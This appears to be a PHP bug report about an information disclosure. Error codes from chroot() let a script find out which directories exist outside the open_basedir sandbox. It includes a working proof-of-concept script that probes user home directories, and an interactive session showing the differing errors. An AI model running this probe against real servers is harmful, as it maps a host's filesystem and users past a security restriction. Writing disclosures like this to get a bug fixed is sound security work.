Description:
------------
in the process of testing i believe i have discovered a possible security issue/information disclosure

error message returned by chroot() enables enumeration of directories regardless of open_basedir settings
chroot(): Operation not permitted (errno 1) ==> directory exists
chroot(): No such file or directory (errno 2) ==> directory !exists


Test script:
---------------
<?php
ini_set('open_basedir', getcwd());
printf("basedir: %s\n", ini_get('open_basedir'));
$dirlist = array();
$found = array();
for ($n = 0; $n < 9000; $n++) {
    $uid = @posix_getpwuid($n);
    if (!empty($uid)) {
        @array_push($dirlist, $uid['dir']);
    }
}
foreach ($dirlist as $path) {
	$err['message']='';
	@chroot($path);
	$err = error_get_last();
	if(strpos($err['message'],'(errno 1)')!==false){
		array_push($found, $path);
	}
}
foreach (array_unique($found) as $dir) {
	printf("found directory: %s\n", $dir);
}

Expected result:
----------------
with a security setting like open_basedir enforced
it should not be possible to disclose information about the structure of the underlying filesystem beyond the directory specified by the open_basedir directive.

ive provided a small proof of concept to demonstrate how this can be used to map out the directory structure

chroot seems to be missing a call to PG(open_basedir)/php_check_open_basedir_ex


Actual result:
--------------
(drop@logic:/tmp)$ php --version
PHP 5.5.9-1ubuntu4.19 (cli) (built: Jul 28 2016 19:31:33) 

(drop@logic:/tmp)$ php -a
Interactive mode enabled

php > ini_set('open_basedir', getcwd());
php > printf("basedir: %s\n", ini_get('open_basedir'));
basedir: /tmp
php > @chroot('/');
php > print_r(error_get_last());
Array
(
    [type] => 2
    [message] => chroot(): Operation not permitted (errno 1)
    [file] => php shell code
    [line] => 1
)
php > @chroot('/lol');
php > print_r(error_get_last());
Array
(
    [type] => 2
    [message] => chroot(): No such file or directory (errno 2)
    [file] => php shell code
    [line] => 1
)
php >